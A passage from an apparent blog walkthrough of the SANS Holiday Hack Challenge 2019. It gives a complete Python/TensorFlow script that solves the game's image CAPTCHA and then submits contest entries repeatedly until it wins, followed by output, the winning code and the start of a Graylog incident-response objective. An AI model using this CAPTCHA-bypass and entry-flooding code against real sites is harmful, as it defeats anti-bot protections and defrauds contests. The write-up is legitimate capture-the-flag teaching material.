<span class="c1"># We don't want to process too many images at once. 10 threads max
</span> <span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">threading</span><span class="p">.</span><span class="nb">enumerate</span><span class="p">())</span> <span class="o">></span> <span class="mi">10</span><span class="p">:</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.0001</span><span class="p">)</span>
<span class="c1">#predict_image function is expecting png image bytes so we read image as 'rb' to get a bytes object
</span> <span class="n">threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">predict_image</span><span class="p">,</span> <span class="n">args</span><span class="o">=</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">sess</span><span class="p">,</span> <span class="n">graph</span><span class="p">,</span> <span class="n">img_data</span><span class="p">,</span> <span class="n">img_uuid</span><span class="p">,</span> <span class="n">labels</span><span class="p">,</span> <span class="n">input_operation</span><span class="p">,</span> <span class="n">output_operation</span><span class="p">)).</span><span class="n">start</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Waiting For Threads to Finish...'</span><span class="p">)</span>
<span class="k">while</span> <span class="n">q</span><span class="p">.</span><span class="n">qsize</span><span class="p">()</span> <span class="o"><</span> <span class="nb">len</span><span class="p">(</span><span class="n">unknown_images</span><span class="p">):</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.001</span><span class="p">)</span>
<span class="c1">#getting a list of all threads returned results
</span> <span class="n">prediction_results</span> <span class="o">=</span> <span class="p">[</span><span class="n">q</span><span class="p">.</span><span class="n">get</span><span class="p">()</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">q</span><span class="p">.</span><span class="n">qsize</span><span class="p">())]</span>
<span class="c1">#do something with our results... Like print them to the screen.
</span> <span class="n">valid_types</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">prediction</span> <span class="ow">in</span> <span class="n">prediction_results</span><span class="p">:</span>
<span class="n">prediction_img_type</span> <span class="o">=</span> <span class="p">(</span><span class="s">'{prediction}'</span><span class="p">).</span><span class="nb">format</span><span class="p">(</span><span class="o">**</span><span class="n">prediction</span><span class="p">)</span>
<span class="n">prediction_uuid</span> <span class="o">=</span> <span class="p">(</span><span class="s">'{img_full_path}'</span><span class="p">).</span><span class="nb">format</span><span class="p">(</span><span class="o">**</span><span class="n">prediction</span><span class="p">)</span>
<span class="k">if</span> <span class="n">prediction_img_type</span> <span class="ow">in</span> <span class="n">challenge_image_types</span><span class="p">:</span>
<span class="n">valid_types</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">prediction_uuid</span><span class="p">)</span>
</code></pre></div></div>
<p>Once we have that done, we can integrate our machine learning <code class="language-plaintext highlighter-rouge">predict_images_using_trained_model.py</code> script into our <code class="language-plaintext highlighter-rouge">capthea_api.py</code> script.</p>
<p><strong>Note</strong>: There are some additional changes I made, see if you can spot them and figure out what they do! 😊</p>
<p>Also, make sure you change the <code class="language-plaintext highlighter-rouge">yourREALemailAddress</code> variable to your actual email so you can obtain the code!</p>
<p>The final code for this will look like so:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
# Fridosleigh.com CAPTEHA API - Made by Krampus Hollyfeld
</span><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">base64</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">[</span><span class="s">'TF_CPP_MIN_LOG_LEVEL'</span><span class="p">]</span> <span class="o">=</span> <span class="s">'3'</span>
<span class="kn">import</span> <span class="nn">tensorflow</span> <span class="k">as</span> <span class="n">tf</span>
<span class="n">tf</span><span class="p">.</span><span class="n">logging</span><span class="p">.</span><span class="n">set_verbosity</span><span class="p">(</span><span class="n">tf</span><span class="p">.</span><span class="n">logging</span><span class="p">.</span><span class="n">ERROR</span><span class="p">)</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">import</span> <span class="nn">threading</span>
<span class="kn">import</span> <span class="nn">queue</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="c1"># Predict Images Script
</span><span class="k">def</span> <span class="nf">load_labels</span><span class="p">(</span><span class="n">label_file</span><span class="p">):</span>
<span class="n">label</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">proto_as_ascii_lines</span> <span class="o">=</span> <span class="n">tf</span><span class="p">.</span><span class="n">gfile</span><span class="p">.</span><span class="n">GFile</span><span class="p">(</span><span class="n">label_file</span><span class="p">).</span><span class="n">readlines</span><span class="p">()</span>
<span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">proto_as_ascii_lines</span><span class="p">:</span>
<span class="n">label</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">l</span><span class="p">.</span><span class="n">rstrip</span><span class="p">())</span>
<span class="k">return</span> <span class="n">label</span>
<span class="k">def</span> <span class="nf">predict_image</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">sess</span><span class="p">,</span> <span class="n">graph</span><span class="p">,</span> <span class="n">image_bytes</span><span class="p">,</span> <span class="n">img_full_path</span><span class="p">,</span> <span class="n">labels</span><span class="p">,</span> <span class="n">input_operation</span><span class="p">,</span> <span class="n">output_operation</span><span class="p">):</span>
<span class="n">image</span> <span class="o">=</span> <span class="n">read_tensor_from_image_bytes</span><span class="p">(</span><span class="n">image_bytes</span><span class="p">)</span>
<span class="n">results</span> <span class="o">=</span> <span class="n">sess</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">output_operation</span><span class="p">.</span><span class="n">outputs</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="p">{</span>
<span class="n">input_operation</span><span class="p">.</span><span class="n">outputs</span><span class="p">[</span><span class="mi">0</span><span class="p">]:</span> <span class="n">image</span>
<span class="p">})</span>
<span class="n">results</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">squeeze</span><span class="p">(</span><span class="n">results</span><span class="p">)</span>
<span class="n">prediction</span> <span class="o">=</span> <span class="n">results</span><span class="p">.</span><span class="n">argsort</span><span class="p">()[</span><span class="o">-</span><span class="mi">5</span><span class="p">:][::</span><span class="o">-</span><span class="mi">1</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span>
<span class="n">q</span><span class="p">.</span><span class="n">put</span><span class="p">(</span> <span class="p">{</span><span class="s">'img_full_path'</span><span class="p">:</span><span class="n">img_full_path</span><span class="p">,</span> <span class="s">'prediction'</span><span class="p">:</span><span class="n">labels</span><span class="p">[</span><span class="n">prediction</span><span class="p">].</span><span class="n">title</span><span class="p">(),</span> <span class="s">'percent'</span><span class="p">:</span><span class="n">results</span><span class="p">[</span><span class="n">prediction</span><span class="p">]}</span> <span class="p">)</span>
<span class="k">def</span> <span class="nf">load_graph</span><span class="p">(</span><span class="n">model_file</span><span class="p">):</span>
<span class="n">graph</span> <span class="o">=</span> <span class="n">tf</span><span class="p">.</span><span class="n">Graph</span><span class="p">()</span>
<span class="n">graph_def</span> <span class="o">=</span> <span class="n">tf</span><span class="p">.</span><span class="n">GraphDef</span><span class="p">()</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">model_file</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">graph_def</span><span class="p">.</span><span class="n">ParseFromString</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">())</span>
<span class="k">with</span> <span class="n">graph</span><span class="p">.</span><span class="n">as_default</span><span class="p">():</span>
<span class="n">tf</span><span class="p">.</span><span class="n">import_graph_def</span><span class="p">(</span><span class="n">graph_def</span><span class="p">)</span>
<span class="k">return</span> <span class="n">graph</span>
<span class="k">def</span> <span class="nf">read_tensor_from_image_bytes</span><span class="p">(</span><span class="n">imagebytes</span><span class="p">,</span> <span class="n">input_height</span><span class="o">=</span><span class="mi">299</span><span class="p">,</span> <span class="n">input_width</span><span class="o">=</span><span class="mi">299</span><span class="p">,</span> <span class="n">input_mean</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">input_std</span><span class="o">=</span><span class="mi">255</span><span class="p">):</span>
<span class="n">image_reader</span> <span class="o">=</span> <span class="n">tf</span><span class="p">.</span><span class="n">image</span><span class="p">.</span><span class="n">decode_png</span><span class="p">(</span> <span class="n">imagebytes</span><span class="p">,</span> <span class="n">channels</span><span class="o">=</span><span class="mi">3</span><span class="p">,</span> <span class="n">name</span><span class="o">=</span><span class="s">"png_reader"</span><span class="p">)</span>
<span class="n">float_caster</span> <span class="o">=</span> <span class="n">tf</span><span class="p">.</span><span class="n">cast</span><span class="p">(</span><span class="n">image_reader</span><span class="p">,</span> <span class="n">tf</span><span class="p">.</span><span class="n">float32</span><span class="p">)</span>
<span class="n">dims_expander</span> <span class="o">=</span> <span class="n">tf</span><span class="p">.</span><span class="n">expand_dims</span><span class="p">(</span><span class="n">float_caster</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">resized</span> <span class="o">=</span> <span class="n">tf</span><span class="p">.</span><span class="n">image</span><span class="p">.</span><span class="n">resize_bilinear</span><span class="p">(</span><span class="n">dims_expander</span><span class="p">,</span> <span class="p">[</span><span class="n">input_height</span><span class="p">,</span> <span class="n">input_width</span><span class="p">])</span>
<span class="n">normalized</span> <span class="o">=</span> <span class="n">tf</span><span class="p">.</span><span class="n">divide</span><span class="p">(</span><span class="n">tf</span><span class="p">.</span><span class="n">subtract</span><span class="p">(</span><span class="n">resized</span><span class="p">,</span> <span class="p">[</span><span class="n">input_mean</span><span class="p">]),</span> <span class="p">[</span><span class="n">input_std</span><span class="p">])</span>
<span class="n">sess</span> <span class="o">=</span> <span class="n">tf</span><span class="p">.</span><span class="n">compat</span><span class="p">.</span><span class="n">v1</span><span class="p">.</span><span class="n">Session</span><span class="p">()</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">sess</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">normalized</span><span class="p">)</span>
<span class="k">return</span> <span class="n">result</span>
<span class="c1">###
</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="c1"># Predictive Images Script
</span> <span class="c1"># Loading the Trained Machine Learning Model created from running retrain.py on the training_images directory
</span> <span class="n">graph</span> <span class="o">=</span> <span class="n">load_graph</span><span class="p">(</span><span class="s">'/tmp/retrain_tmp/output_graph.pb'</span><span class="p">)</span>
<span class="n">labels</span> <span class="o">=</span> <span class="n">load_labels</span><span class="p">(</span><span class="s">"/tmp/retrain_tmp/output_labels.txt"</span><span class="p">)</span>
<span class="c1"># Load up our session
</span> <span class="n">input_operation</span> <span class="o">=</span> <span class="n">graph</span><span class="p">.</span><span class="n">get_operation_by_name</span><span class="p">(</span><span class="s">"import/Placeholder"</span><span class="p">)</span>
<span class="n">output_operation</span> <span class="o">=</span> <span class="n">graph</span><span class="p">.</span><span class="n">get_operation_by_name</span><span class="p">(</span><span class="s">"import/final_result"</span><span class="p">)</span>
<span class="n">sess</span> <span class="o">=</span> <span class="n">tf</span><span class="p">.</span><span class="n">compat</span><span class="p">.</span><span class="n">v1</span><span class="p">.</span><span class="n">Session</span><span class="p">(</span><span class="n">graph</span><span class="o">=</span><span class="n">graph</span><span class="p">)</span>
<span class="c1"># Can use queues and threading to spead up the processing
</span> <span class="n">q</span> <span class="o">=</span> <span class="n">queue</span><span class="p">.</span><span class="n">Queue</span><span class="p">()</span>
<span class="c1"># Email address to get key
</span> <span class="n">yourREALemailAddress</span> <span class="o">=</span> <span class="s">"YOUR-EMAIL@EMAIL.COM"</span>
<span class="k">for</span> <span class="n">numThreads</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mi">50</span><span class="p">,</span> <span class="mi">4</span><span class="p">):</span>
<span class="c1"># Creating a session to handle cookies
</span> <span class="n">s</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">Session</span><span class="p">()</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">"https://fridosleigh.com/"</span>
<span class="n">json_resp</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"{}api/capteha/request"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">url</span><span class="p">)).</span><span class="n">text</span><span class="p">)</span>
<span class="n">b64_images</span> <span class="o">=</span> <span class="n">json_resp</span><span class="p">[</span><span class="s">'images'</span><span class="p">]</span> <span class="c1"># A list of dictionaries eaching containing the keys 'base64' and 'uuid'
</span> <span class="n">challenge_image_type</span> <span class="o">=</span> <span class="n">json_resp</span><span class="p">[</span><span class="s">'select_type'</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">','</span><span class="p">)</span> <span class="c1"># The Image types the CAPTEHA Challenge is looking for.
</span> <span class="n">challenge_image_types</span> <span class="o">=</span> <span class="p">[</span><span class="n">challenge_image_type</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">strip</span><span class="p">(),</span> <span class="n">challenge_image_type</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">strip</span><span class="p">(),</span> <span class="n">challenge_image_type</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="n">replace</span><span class="p">(</span><span class="s">' and '</span><span class="p">,</span><span class="s">''</span><span class="p">).</span><span class="n">strip</span><span class="p">()]</span> <span class="c1"># cleaning and formatting
</span>
<span class="c1">#Going to interate over each of our images.
</span> <span class="k">print</span><span class="p">(</span><span class="s">'Processing Images...'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="p">(</span><span class="n">k</span><span class="p">,</span><span class="n">v</span><span class="p">)</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">b64_images</span><span class="p">):</span>
<span class="n">img_data</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">b64_images</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="s">"base64"</span><span class="p">])</span>
<span class="n">img_uuid</span> <span class="o">=</span> <span class="n">b64_images</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="s">"uuid"</span><span class="p">]</span>
<span class="c1"># We don't want to process too many images at once. 10 threads max
</span> <span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">threading</span><span class="p">.</span><span class="nb">enumerate</span><span class="p">())</span> <span class="o">></span> <span class="n">numThreads</span><span class="p">:</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.0001</span><span class="p">)</span>
<span class="c1">#predict_image function is expecting png image bytes so we read image as 'rb' to get a bytes object
</span> <span class="n">threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">predict_image</span><span class="p">,</span> <span class="n">args</span><span class="o">=</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">sess</span><span class="p">,</span> <span class="n">graph</span><span class="p">,</span> <span class="n">img_data</span><span class="p">,</span> <span class="n">img_uuid</span><span class="p">,</span> <span class="n">labels</span><span class="p">,</span> <span class="n">input_operation</span><span class="p">,</span> <span class="n">output_operation</span><span class="p">)).</span><span class="n">start</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Waiting For Threads to Finish...'</span><span class="p">)</span>
<span class="k">while</span> <span class="n">q</span><span class="p">.</span><span class="n">qsize</span><span class="p">()</span> <span class="o"><</span> <span class="nb">len</span><span class="p">(</span><span class="n">b64_images</span><span class="p">):</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.001</span><span class="p">)</span>
<span class="c1">#getting a list of all threads returned results
</span> <span class="n">prediction_results</span> <span class="o">=</span> <span class="p">[</span><span class="n">q</span><span class="p">.</span><span class="n">get</span><span class="p">()</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">q</span><span class="p">.</span><span class="n">qsize</span><span class="p">())]</span>
<span class="c1">#do something with our results... Like print them to the screen.
</span> <span class="n">valid_types</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">prediction</span> <span class="ow">in</span> <span class="n">prediction_results</span><span class="p">:</span>
<span class="n">prediction_img_type</span> <span class="o">=</span> <span class="p">(</span><span class="s">'{prediction}'</span><span class="p">).</span><span class="nb">format</span><span class="p">(</span><span class="o">**</span><span class="n">prediction</span><span class="p">)</span>
<span class="n">prediction_uuid</span> <span class="o">=</span> <span class="p">(</span><span class="s">'{img_full_path}'</span><span class="p">).</span><span class="nb">format</span><span class="p">(</span><span class="o">**</span><span class="n">prediction</span><span class="p">)</span>
<span class="k">if</span> <span class="n">prediction_img_type</span> <span class="ow">in</span> <span class="n">challenge_image_types</span><span class="p">:</span>
<span class="n">valid_types</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">prediction_uuid</span><span class="p">)</span>
<span class="c1">### END Prediction ####
</span>
<span class="c1"># This should be JUST a csv list image uuids ML predicted to match the challenge_image_type .
</span> <span class="n">final_answer</span> <span class="o">=</span> <span class="s">','</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">valid_types</span><span class="p">)</span>
<span class="n">json_resp</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="s">"{}api/capteha/submit"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">url</span><span class="p">),</span> <span class="n">data</span><span class="o">=</span><span class="p">{</span><span class="s">'answer'</span><span class="p">:</span><span class="n">final_answer</span><span class="p">}).</span><span class="n">text</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">json_resp</span><span class="p">[</span><span class="s">'request'</span><span class="p">]:</span>
<span class="c1"># If it fails just run again. ML might get one wrong occasionally
</span> <span class="k">print</span><span class="p">(</span><span class="s">'FAILED MACHINE LEARNING GUESS'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'--------------------</span><span class="se">\n</span><span class="s">Our ML Guess:</span><span class="se">\n</span><span class="s">--------------------</span><span class="se">\n</span><span class="s">{}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">final_answer</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">'--------------------</span><span class="se">\n</span><span class="s">Server Response:</span><span class="se">\n</span><span class="s">--------------------</span><span class="se">\n</span><span class="s">{}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">json_resp</span><span class="p">[</span><span class="s">'data'</span><span class="p">]))</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Failed! Threads: "</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">numThreads</span><span class="p">))</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'CAPTEHA Solved!'</span><span class="p">)</span>
<span class="c1"># If we get to here, we are successful and can submit a bunch of entries till we win
</span> <span class="n">userinfo</span> <span class="o">=</span> <span class="p">{</span>
<span class="s">'name'</span><span class="p">:</span><span class="s">'Krampus Hollyfeld'</span><span class="p">,</span>
<span class="s">'email'</span><span class="p">:</span><span class="n">yourREALemailAddress</span><span class="p">,</span>
<span class="s">'age'</span><span class="p">:</span><span class="mi">180</span><span class="p">,</span>
<span class="s">'about'</span><span class="p">:</span><span class="s">"Cause they're so flippin yummy!"</span><span class="p">,</span>
<span class="s">'favorites'</span><span class="p">:</span><span class="s">'thickmints'</span>
<span class="p">}</span>
<span class="c1"># If we win the once-per minute drawing, it will tell us we were emailed.
</span> <span class="c1"># Should be no more than 200 times before we win. If more, somethings wrong.
</span> <span class="n">entry_response</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">entry_count</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">while</span> <span class="n">yourREALemailAddress</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">entry_response</span> <span class="ow">and</span> <span class="n">entry_count</span> <span class="o"><</span> <span class="mi">200</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Submitting lots of entries until we win the contest! Entry #{}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">entry_count</span><span class="p">))</span>
<span class="n">entry_response</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="s">"{}api/entry"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">url</span><span class="p">),</span> <span class="n">data</span><span class="o">=</span><span class="n">userinfo</span><span class="p">).</span><span class="n">text</span>
<span class="n">entry_count</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">print</span><span class="p">(</span><span class="n">entry_response</span><span class="p">)</span>
<span class="k">break</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
<span class="n">main</span><span class="p">()</span>
</code></pre></div></div>
<p>Since this script requires a lot of resources, I will be using a Deep Learning AMI in AWS.</p>
<p>For those that don’t have AWS, you can use <a href="https://colab.research.google.com/notebooks/welcome.ipynb">Google Colaboratory</a>, which is a free Jupyter notebook environment that requires no setup and runs entirely in the cloud. You can write and execute code, save and share your analyses, and access powerful computing resources, all for free from your browser.</p>
<p align="center"><a href="/images/hh19-97.png"><img src="/images/hh19-97.png" /></a></p>
<p>Within the AMI, we active the tensorflow install, download all the files again, and copy over our code. Once we have everything, we will run our training mode against the images provided to us by Krampus.</p>
<p>This should take about 15-20 minutes, so go grab a coffee! ☕</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">[ec2-user@ip-172-31-36-164 ~]$</span><span class="w"> </span><span class="nb">source </span>activate tensorflow_p36
<span class="gp">[ec2-user@ip-172-31-36-164 ~]$</span><span class="w"> </span><span class="nb">cd </span>frido_sleigh/
<span class="gp">[ec2-user@ip-172-31-36-164:~/frido_sleigh$</span><span class="w"> </span>python3 img_rec_tf_ml_demo/retrain.py <span class="nt">--image_dir</span> capteha_images/
</code></pre></div></div>
<p>Once our TensorFlow model is trained, we can run our <code class="language-plaintext highlighter-rouge">capteha_api.py</code> script and see if we can complete the challenge.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">(tensorflow_p36) [ec2-user@ip-172-31-36-164 frido_sleigh]$</span><span class="w"> </span>python3 capteha_api.py
<span class="go">
Processing Images... Waiting For Threads to Finish...
FAILED MACHINE LEARNING GUESS
--------------------
Our ML Guess: -------------------- eb340938-e584-11e9-97c1-309c23aaf0ac,f65753ba-e584-11e9-97c1-309c23aaf0ac,febce1f4-e584-11e9-97c1-309c23aaf0ac,0afbf9b3-e585-11e9-97c1-309c23aaf0ac,28e82970-e585-11e9-97
c1-309c23aaf0ac,3fa212e1-e585-11e9-97c1-309c23aaf0ac,2a203742-e585-11e9-97c1-309c23aaf0ac,2ea2c11d-e585-11e9-97c1-309c23aaf0ac,6cf0510f-e585-11e9-97c1-309c23aaf0ac,55b08
8d2-e585-11e9-97c1-309c23aaf0ac,70008436-e585-11e9-97c1-309c23aaf0ac,eba9bb03-e585-11e9-97c1-309c23aaf0ac,68da7027-e586-11e9-97c1-309c23aaf0ac,800055c9-e586-11e9-97c1-30
9c23aaf0ac,8c5b9f99-e586-11e9-97c1-309c23aaf0ac,6a75eb24-e586-11e9-97c1-309c23aaf0ac,8322d1e1-e586-11e9-97c1-309c23aaf0ac,05afa05c-e587-11e9-97c1-309c23aaf0ac,be7b70b6-e587-11e9-97c1-309c23aaf0ac,bf68b786-e587-11e9-97c1-309c23aaf0ac,16cca208-e588-11e9-97c1-309c23aaf0ac,127459d6-e588-11e9-97c1-309c23aaf0ac --------------------
Server Response:
--------------------
Timed Out!
Failed! Threads: 10
Processing Images...
Waiting For Threads to Finish...
CAPTEHA Solved!
</span><span class="gp">Submitting lots of entries until we win the contest! Entry #</span>1
<span class="gp">{"data":"<h2 id=\"result_header\"></span>Thank you <span class="k">for </span>submitting your 1st entry to the Continuous Cookie Contest! We will be selecting one lucky winner every minute! Winners r
<span class="gp">eceive an email so keep watching your email's inbox incase you won! You can resubmit new entries by refreshing the page and re-filling out the form. <br></span><br> Good luck and Happy Holidays!</h2><span class="s2">","</span>request<span class="s2">":true}
</span><span class="go">
---snip---
</span><span class="gp">Submitting lots of entries until we win the contest! Entry #</span>102
<span class="gp">{"data":"<h2 id=\"result_header\"></span><span class="w"> </span>Entries <span class="k">for </span>email address <span class="o">[</span>REDACTED] no longer accepted as our systems show your email was already randomly selected as a winner! Go check your email to get your winning code. Please allow up to 3-5 minutes <span class="k">for </span>the email to arrive <span class="k">in </span>your inbox or check your spam filter settings. <br><br> Congratulations and Happy Holidays!</h2><span class="s2">","</span>request<span class="s2">":true}
</span></code></pre></div></div>
<p>After some time, we see that we won the contest. If you go to your email, you should see the code!</p>
<p align="center"><a href="/images/hh19-98.png"><img src="/images/hh19-98.png" /></a></p>
<p>With that, we can navigate to the eight objective in our badge and enter “<strong>8la8LiZEwvyZr2WO</strong>” to complete the objective.</p>
<p align="center"><a href="/images/hh19-99.png"><img src="/images/hh19-99.png" /></a></p>
<p>Upon completing the objective, we can talk to Krampus again to learn more about a nasty plot to destroy the holidays… again….</p>
<p align="center"><a href="/images/hh19-100.png"><img src="/images/hh19-100.png" /></a></p>
<p>Also, after talking with Krampus, we now get access to the Steam Tunnels, which let’s us fast travel though the map!</p>
<p align="center"><a href="/images/hh19-101.png"><img src="/images/hh19-101.png" /></a></p>
<h2 id="objective-9">Objective 9</h2>
<h3 id="graylog---cranpi">Graylog - CranPi</h3>
<p>From Krampus, by using the steam tunnels, we return back to the Dorm area where we will find Pepper Minstix.</p>
<p align="center"><a href="/images/hh19-102.png"><img src="/images/hh19-102.png" /></a></p>
<p>Talking to Pepper we learn that a few Elf U computers were hacked, and that Pepper has been tasked with using Graylog to perform indent response.</p>
<p align="center"><a href="/images/hh19-103.png"><img src="/images/hh19-103.png" /></a></p>
<p>We are then asked by Pepper to help him fill out the incident response form. He also provides us hints on the <a href="http://docs.graylog.org/en/3.1/pages/queries.html">Graylog Docs</a> as well as <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/">Event IDs</a> and <a href="https://static1.squarespace.com/static/552092d5e4b0661088167e5c/t/5d5588b51fd81f0001471db4/1565886646582/Windows+Sysmon+Logging+Cheat+Sheet_Aug_2019.pdf">Sysmon</a>.</p>
<p>We are also provided credentials to access the Graylog server.</p>
<p>With that, let’s access the terminal and login. Once logged in we are presented with the following screen.</p>
<p align="center"><a href="/images/hh19-104.png"><img src="/images/hh19-104.png" /></a></p>
<p>From that screen, if we mouse over the arrow in the bottom right corner, we see the “<strong>ElfU Graylog Incident Response Report</strong>” which contains the questions we need to answer to finish this terminal challenge.</p>
<p>Let’s start with Question #1.</p>
<p align="center"><a href="/images/hh19-105.png"><img src="/images/hh19-105.png" /></a></p>
<p>So, for this question, we need to find the full-path and filename of the malicious cookie recipe downloaded by Minty after she clicked a malicious link.</p>
<p>To start, at the main screen, we click on the “<strong>All messages</strong>” button under the filter streams to access the search functionality.</p>
<p align="center"><a href="/images/hh19-106.png"><img src="/images/hh19-106.png" /></a></p>
<p>Now we can search for the weird activity. If you read the Graylog documentation, you’ll know that we can search for user names, and even event id’s that were generated by sysmon.</p>
<p>So let’s look for Minty’s account and for <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90001">Event ID 1</a> which dictates process creation. If this was a malicious document, then it should have spawned Command Prompt or PowerShell. Also, make sure you select “<strong>Search in all messages</strong>” from the drop down so we see everything.</p>
<p>Also, I also learned that you should group all your searches in parentheses as it helps filter the data properly.</p>
<p align="center"><a href="/images/hh19-107.png"><img src="/images/hh19-107.png" /></a></p>
<p>We see that we have 96 results. If we look into the first event, we should see something very interesting in the <strong>ParentProcessCommandLine</strong> variable.</p>
<p align="center"><a href="/images/hh19-108.png"><img src="/images/hh19-108.png" /></a></p>
<p>We see that in the downloads folder, Minty executed a cookie recipe executable. So this wasn’t a document but a malicious exe! Oh Minty, looks like someone needs some security training!</p>
<p>Well with that information, we can answer the 1st question! We also get a small hint on how we could have found the malicious document using another search!</p>
<p align="center"><a href="/images/hh19-109.png"><img src="/images/hh19-109.png" /></a></p>
<p>With #1 done, let’s move onto question 2!</p>
<p align="center"><a href="/images/hh19-110.png"><img src="/images/hh19-110.png" /></a></p>
<p>So from the get go we learn that the malicious executable spawned some sort of command and control server, and we need to figure out what IP and port it connected to.</p>
<p>Should be pretty easy! What we can do is use the same query from before, but this time we will look for all events that originated from the <strong>cookie_recipe.exe</strong> process, and we will also look for Sysmon <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90003">Event ID 3</a> which dictates that a network connection was made.</p>
<p align="center"><a href="/images/hh19-111.png"><img src="/images/hh19-111.png" /></a></p>
<p>Upon running the search we should only see one event. Examining the event will give us the information we need.</p>
<p align="center"><a href="/images/hh19-112.png"><img src="/images/hh19-112.png" /></a></p>
<p>Knowing this, let’s answer the second question!</p>
